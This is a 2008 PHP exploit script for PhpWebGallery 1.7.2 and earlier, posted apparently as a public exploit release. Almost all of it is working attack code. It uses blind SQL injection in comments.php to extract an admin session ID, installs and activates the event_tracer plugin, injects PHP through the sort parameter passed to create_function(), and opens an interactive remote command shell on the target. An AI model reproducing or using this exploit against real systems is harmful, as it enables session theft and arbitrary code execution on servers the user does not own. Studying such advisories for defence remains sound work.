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phpwebgallery-hijackexec.txt

Posted on 15 October 2008

<?php

/*
------------------------------------------------------------------------
PhpWebGallery <= 1.7.2 Remote Session Hijacking / Code Execution Exploit
------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.phpwebgallery.net/
details..: works with at least two rows in _comments table

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /plugins/event_tracer/event_list.php

60.	$sort= isset($_GET['sort']) ? $_GET['sort'] : 1;
61.	usort(
62.	  $events,
63.	  create_function( '$a,$b', 'return $a['.$sort.']>$b['.$sort.'];' )
64.	  );

An attacker could be able to inject and execute PHP code through $_GET['sort'], that is passed
to create_function() at line 63 (see http://www.securityfocus.com/bid/31398). Only admin can
access to the plugins management interface, but the attacker might be able to retrieve a valid
admin session id using the SQL injection bug in comments.php (see lines 325-340)
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",5);

define(STDIN, fopen("php://stdin", "r"));
define(PATTERN, "/<span class="author">(.*)</span> -/");

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from {$host}:80 Trying again...
";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function check_target()
{
global $host, $path, $prefix, $default_record;

$packet  = "GET {$path}comments.php?sort_by=%s HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: pwg_id=".md5("foo")."
";
$packet .= "Connection: close

";

preg_match("/FROM (.*)image_category/", http_send($host, sprintf($packet, "foo")), $match);
$prefix = $match[1];

preg_match(PATTERN, http_send($host, sprintf($packet, "id/**/LIMIT/**/1/*")), $match);
$default_record = $match[1];

preg_match(PATTERN, http_send($host, sprintf($packet, "author/**/LIMIT/**/1/*")), $match);
if (!strlen($default_record) || $default_record == $match[1]) die("
[-] Exploit failed...
");
}

function encodeSQL($sql)
{
for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
return "CONCAT(0x{$encoded})";
}

function get_sid()
{
global $host, $path, $prefix, $default_record;

$chars = array_merge(array(0), range(48, 57), range(97, 102)); // 0-9 a-z
$index = 1;
$sid   = "";

$packet  = "GET {$path}comments.php?sort_by=%s HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: pwg_id=".md5("foo")."
";
$packet .= "Connection: close

";

print "
[-] Fetching admin SID: ";

while (!strpos($sid, chr(0)))
{
for ($i = 0, $n = count($chars); $i <= $n; $i++)
{
if ($i == $n) die("

[-] Exploit failed...try later!
");

$sql  = "(SELECT/**/IF(ASCII(SUBSTR(id,{$index},1))={$chars[$i]},author,id)/**/FROM/**/{$prefix}sessions".
"/**/WHERE/**/data/**/LIKE/**/".encodeSQL("pwg_uid|i:1;")."/**/LIMIT/**/1)/**/LIMIT/**/1/*";

preg_match(PATTERN, http_send($host, sprintf($packet, $sql)), $match);
if ($match[1] != $default_record) { $sid .= chr($chars[$i]); print chr($chars[$i]); break; }
}

$index++;
}

print "
";
return $sid;
}

function check_plugin()
{
global $host, $path, $sid;

$packet  = "GET {$path}%s HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: pwg_id={$sid}
";
$packet .= "Connection: close

";

// check if the event_tracer plugin isn't installed
if (preg_match("/not active/", http_send($host, sprintf($packet, "admin.php?page=plugin&section=event_tracer/event_list.php"))))
{
http_send($host, sprintf($packet, "admin.php?page=plugins&plugin=event_tracer&action=install"));
http_send($host, sprintf($packet, "admin.php?page=plugins&plugin=event_tracer&action=activate"));
}
}

print "
+---------------------------------------------------------------------------+";
print "
| PhpWebGallery <= 1.7.2 Session Hijacking / Code Execution Exploit by EgiX |";
print "
+---------------------------------------------------------------------------+
";

if ($argc < 3)
{
print "
Usage...: php $argv[0] host path [sid]
";
print "
host....: target server (ip/hostname)";
print "
path....: path to PhpWebGallery directory";
print "
sid.....: a valid admin session id
";
die();
}

$host = $argv[1];
$path = $argv[2];

check_target();

$sid = (isset($argv[3])) ? $argv[3] : get_sid();

check_plugin();

$code	 = "0];}error_reporting(0);print(_code_);passthru(base64_decode($_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}admin.php?page=plugin&section=event_tracer/event_list.php&sort={$code} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: pwg_id={$sid}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

while(1)
{
print "
phpwebgallery-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("
[-] Exploit failed...
");
}
else break;
}

?>

 

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